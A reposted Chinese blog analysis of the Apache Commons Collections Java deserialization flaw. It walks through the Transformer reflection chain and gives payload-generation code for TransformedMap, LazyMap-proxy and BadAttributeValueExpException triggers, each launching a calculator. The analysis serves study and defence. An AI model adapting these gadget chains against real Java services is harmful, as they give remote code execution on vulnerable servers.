JAVA Common Collections 反序列化漏洞分析

Common Collections库为JAVA提供了很多常用且强大的数据结构,在JAVA开发中使用较为广泛,该库的漏洞会导致极为广泛的安全问题。在漏洞曝出伊始,WebLogic、WebSphere、JBoss、Jenkins等基于JAVA开发的各种中间件及框架均受到影响。

本文对JAVA的Common Collections库的反序列化漏洞进行了分析,并进行了复现测试

测试环境

JAVA版本:

$ java -version
openjdk version "1.8.0_151"
OpenJDK Runtime Environment (build 1.8.0_151-8u151-b12-0ubuntu0.17.04.2-b12)
OpenJDK 64-Bit Server VM (build 25.151-b12, mixed mode)

Common Collections库版本: 3.3.2

该版本中对不安全的类的序列化做出了限制,可以通过设置JAVA VM options
来解除此限制:

-Dorg.apache.commons.collections.enableUnsafeSerialization=true

漏洞成因分析

Common Collections库中有许多常用的数据结构,这些数据结构能够通过关联 Transformer
类来利用其中自定义的 transform
函数在某些时机对数据做一些检查或修改。

Common Collections的各种反序列化漏洞的关键点有两个:

  • 利用 InvokerTransformer
    ConstantTransformer
    ChainedTransformer
    等类构建恶意代码执行序列,这其中的代码执行需要利用 JAVA的反射机制
    ,并通过类中的 transform
    方法调用。
  • 寻找Common Collections中的类在反序列化时,会触发调用 transform
    方法的情况,并以此来构建反序列化漏洞的payload。

下文对上述两个关键点进行详细叙述。

代码执行序列的构建

JAVA中执行shell命令

在JAVA中执行命令,一般的方式是利用 Runtime
类,比如执行计算器程序:

Runtime.getRuntime().exec("gnome-calculator")

构建代码执行序列的目的就是达成上述的代码执行效果。

InvokerTransformer类

首先看 InvokerTransformer
类,下述代码含有该类的部分构造函数和 transform
函数:

/**
 * Constructor that performs no validation.
 * Use <code>getInstance</code> if you want that.
 * 
 * @param methodName  the method to call
 * @param paramTypes  the constructor parameter types, not cloned
 * @param args  the constructor arguments, not cloned
 */
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args){
    super();
    iMethodName = methodName;                                                    
    iParamTypes = paramTypes;
    iArgs = args;
}

/**
 * Transforms the input to result by invoking a method on the input.
 * 
 * @param input  the input object to transform
 * @return the transformed result, null if null input
 */
public Object transform(Object input){
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
            
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

由上述代码可以看出, InvokerTransformer
类的 transform
函数中,利用反射机制进行了函数的调用;此外,利用反射机制进行调用时候的各个参数iMethodName
iParamTypes
iArgs
)皆可通过构造函数等进行自主赋值。

然而通过上述反射的方法,是无法一次就达成执行命令的效果的, ChainedTransformer
类“应运而生”。

ChainedTransformer类

ChainedTransformer
类是 Transformer
的子类,顾名思义,该类的构造函数可以接受一个 Transformer
对象数组,将一系列的 Transformer
对象链接起来,聚合成一个 Transformer
对象。

该类的部分源代码如下:

/**
 * Constructor that performs no validation.
 * Use <code>getInstance</code> if you want that.
 * 
 * @param transformers  the transformers to chain, not copied, no nulls
 */
public ChainedTransformer(Transformer[] transformers){
    super();
    iTransformers = transformers;
}

/**
 * Transforms the input to result via each decorated transformer
 * 
 * @param object  the input object passed to the first transformer
 * @return the transformed result
 */
public Object transform(Object object){                          
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

其中 transform
函数的代码逻辑很简单,就是逐个调用 iTransformers
变量中的各 Transformer
对象的 transform
函数,并将当前 transform
函数的返回结果作为下一次调用的参数。

这样就可以组成一个调用链,来实现执行shell命令的代码逻辑。

但还有一个问题是,需要给最初的 InvokerTransformer
transform
函数的input参数传参。这个问题可以通过 ConstantTransformer
类来解决。

ConstantTransformer类的transform函数

ConstantTransformer
类的 transform
函数逻辑十分简单,如下:

/**
 * Transforms the input by ignoring it and returning the stored constant instead.
 * 
 * @param input  the input object which is ignored
 * @return the stored constant
 */
public Object transform(Object input){
    return iConstant;
}

iConstant
为类构造函数的传入参数,如类名所示,该函数的作用就是将它直接返回。

命令执行调用链

综上所述,通过如下代码构造执行shell命令的调用链:

public static Transformer generate_chain(){
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"gnome-calculator"})
        };
    Transformer transformedChain = new ChainedTransformer(transformers);

    return transformedChain;
}

直接对该函数的返回值调用 transform(null)
方法,能够直接执行shell命令,弹出计算器。

至此,shell命令执行代码链构造完成。

寻找反序列化时的触发点

下一步的任务是寻找对象在反序列化时,会调用 Transformer
类对象的 transform
函数的代码。

JAVA的序列化结果是以 ACED 0005
开头的二进制串,在反序列化的时候会调用对象的 readObject
函数,具体的JAVA反序列化的知识在此不再赘述。

寻找反序列化触发点的关键是:寻找在对象的 readObject
函数中能够直接或间接调用 transform
函数的情况。一般来说,不会有在 readObject
函数中直接调用 transform
函数的情形,需要寻找间接调用的情形(即在 readObject
函数所调用的函数中直接或间接调用了 transform
函数的情形)。

具体的方法可以是,从直接寻找调用了 transfrom
函数的方法开始,根据函数调用关系分析回溯,看是否能形成一个从 readObject
函数到 transform
函数的调用链条。

下文针对 TransformedMap
LazyMap
两个类中的反序列化漏洞触发情景进行分析和测试。

需要注意的是,如果使用Debug模式对程序进行分析调试,由于调试器会提前计算变量值,所以可能在程序执行到实际的漏洞触发代码前,shell指令就已经被执行。

TransformedMap 反序列化漏洞分析与测试

如上所述,接下来的目标是寻找在反序列化过程中能够调用 transform
的情境,以在反序列过程中执行构造好的命令执行链。

TransformedMap
中的 checkSetValue
函数调用了 transform
函数,其函数原型如下:

/**
 * Override to transform the value when using <code>setValue</code>.
 * 
 * @param value  the value to transform
 * @return the transformed value
 * @since Commons Collections 3.1
 */ 
protected Object checkSetValue(Object value){         
    return valueTransformer.transform(value);
}

从上述函数说明的注释中可以看出,在调用 setValue
函数时会调用此函数。具体地, setValue
函数的实现在抽象类 AbstractInputCheckedMapDecorator
(即为 TransformedMap
类的父类)中, setValue
函数实现如下:

public Object setValue(Object value){  
    value = parent.checkSetValue(value);
    return entry.setValue(value);       
}

所以在 Transformed
类的 setValue
方法被调用时,即可触发命令执行,弹出计算器。如下:

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
        new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"gnome-calculator"})
};
Transformer transformedChain = new ChainedTransformer(transformers);


Map normalMap = new HashMap();
normalMap.put("key", "value");

Map transformedMap = TransformedMap.decorate(normalMap, null, transformedChain);


Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next();
entry.setValue("test");

反序列化漏洞触发的另一个重要的类是 AnnotationInvocationHandler
类,在网上的其他资料中,显示此类的 readObject
函数中调用了 setValue
函数。利用反射机制生成序列化结果的payload,对该序列化结果进行反序列化即可触发命令执行。生成payload的代码如下:

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
        new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"gnome-calculator"})
};
Transformer transformedChain = new ChainedTransformer(transformers);


Map normalMap = new HashMap();
normalMap.put("key", "value");

Map transformedMap = TransformedMap.decorate(normalMap, null, transformedChain);


Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);

// the function to write searialized object to file
serialize_write_file(instance);

然而在实际测试中发现,当前JDK版本的 AnnotationInvocationHandler
类的 readObject
函数略有变化,已经不再调用 setValue
方法,因此在反序列化时无法成功触发命令执行。

利用动态代理机制的LazyMap反序列化漏洞分析与测试

LazyMap
类的 get
函数也调用了 transform
函数,当该类的 map
中不存在对应的 key
时,则会调用 transform
方法。如下:

public Object get(Object key){
    if (!this.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        this.map.put(key, value);
        return value;
    } else {
        return this.map.get(key);
    }
}

此处仍需利用 AnnotationInvocationHandler
类,不过该类的 readObject
函数没有调用 LazyMap
get
方法,但 invoke
函数中调用了 get
方法,如下:

public Object invoke(Object proxy, Method method, Object[] args){
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");

    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

所以此处的利用方法要用到Java的 动态代理机制

首先利用 AnnotationInvocationHandler
这一动态代理类来为 LazyMap
生成一个代理对象,然后再将该代理对象作为 AnnotationInvocationHandler
构造方法的参数生成最终要序列化生成payload的对象。

这样在反序列化的时候, AnnotationInvocationHandler
类的 readObject
函数在调用时会调用代理对象的方法,根据动态代理机制,也就会触发 AnnotationInvocationHandler
invoke
函数,进而会发生 LazyMap
类的 get
函数的调用,随后触发 transform
函数并触发命令执行。

生成payload的代码如下所示:

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
        new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"gnome-calculator"})
};
Transformer transformedChain = new ChainedTransformer(transformers);


Map normalMap = new HashMap();
Map lazyMap = LazyMap.decorate(normalMap, transformedChain);

//lazyMap.get("key");

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

InvocationHandler invo = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

Map mapProxy = Map.class.cast(Proxy.newProxyInstance(invo.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), invo));

Object instance = ctor.newInstance(Retention.class, mapProxy);

// the function to write searialized object to file
serialize_write_file(instance);

然而同样由于JDK版本的问题,该种方式的反序列化同样不能成功实现命令执行。(参考 ysoserial issue

利用BadAttributeValueExpException类的LazyMap反序列化漏洞分析与测试

网络上对于Common Collections的反序列化分析基本集中于上述两种利用方式,然而它们在本文的测试环境中无法复现。

在Github上的 ysoserial
项目中,发现其中的CommonsCollections5可以使用,它同样是基于反序列化时调用 LazyMap
get
方法。

可以使用下述代码生成序列化后的payload:

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
        new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"gnome-calculator"})
};
Transformer transformedChain = new ChainedTransformer(transformers);

Map normalMap = new HashMap();
Map lazyMap = LazyMap.decorate(normalMap, transformedChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);

serialize_write_file(val);

具体的命令执行触发过程如下:

BadAttributeValueExpException
类的 readObject
函数如下:

private void readObject(ObjectInputStream ois)throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

其中 valObj
为构造的 TiedMapEntry
类的对象,可以看到其中调用了该类的 toString
函数,再来看此 toString
函数:

public String toString(){
    return this.getKey() + "=" + this.getValue();
}

getValue
函数为:

public Object getValue(){
    return this.map.get(this.key);
}

此处的 this.map
即为我们构造的 LazyMap
对象,在此处调用了 get
函数,则也就触发了命令执行代码,弹出计算器。

原文 

http://roo0.me/2018/10/06/JAVA-Common-Collections-反序列化漏洞分析/

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » JAVA Common Collections 反序列化漏洞分析

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址